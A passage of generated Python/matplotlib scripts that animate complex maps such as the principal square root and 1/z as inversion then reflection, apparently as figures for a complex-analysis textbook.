        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal square root $\sqrt z$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 10.7, p. 51 (ch10:214); plate p. 50-51 (ch10:172); Example 18.6, p. 96 (ch18-complex-powers.tex:177)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1-s/2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the upper half-plane onto the first quadrant (Example 10.7)'
TITLE = '$w=z^{1-s/2},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.6, 4, 0.01, 3.121592653589793, 6)
HILITE = [9, 14]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$ as inversion, then reflection -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Definition 11.1 and figure, p. 53 (ch11-reciprocal.tex:6, 53); Proposition 11.2, p. 53 (ch11:26)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1/z)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'every point moves in a straight line from $z$ to $1/z$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{1}{z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.5, 2.0, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$ as inversion, then reflection -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Definition 11.1 and figure, p. 53 (ch11-reciprocal.tex:6, 53); Proposition 11.2, p. 53 (ch11:26)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: flipy(inv(z, seg(s,0,0.6)), seg(s,0.6,1))
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'invert in the unit circle (green): inside and outside swap;\nthen reflect in the real axis'
TITLE = '$\\mathrm{invert,\\ then\\ reflect},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.5, 2.0, 5, -3.141492653589793, 3.141492653589793, 12)
AVOID = []
EXTRAS = [('np.exp(2j*pi*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$1/z$ as inversion, then reflection -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Definition 11.1 and figure, p. 53 (ch11-reciprocal.tex:6, 53); Proposition 11.2, p. 53 (ch11:26)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: flipy(inv(z, seg(s,0,0.6)), seg(s,0.6,1))
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'invert in the unit circle (green): inside and outside swap; then reflect in the real axis'
TITLE = '$\\mathrm{invert,\\ then\\ reflect},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.5, 2.0, 4, -3.141492653589793, 3.141492653589793, 8)
HILITE = [1, 18]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
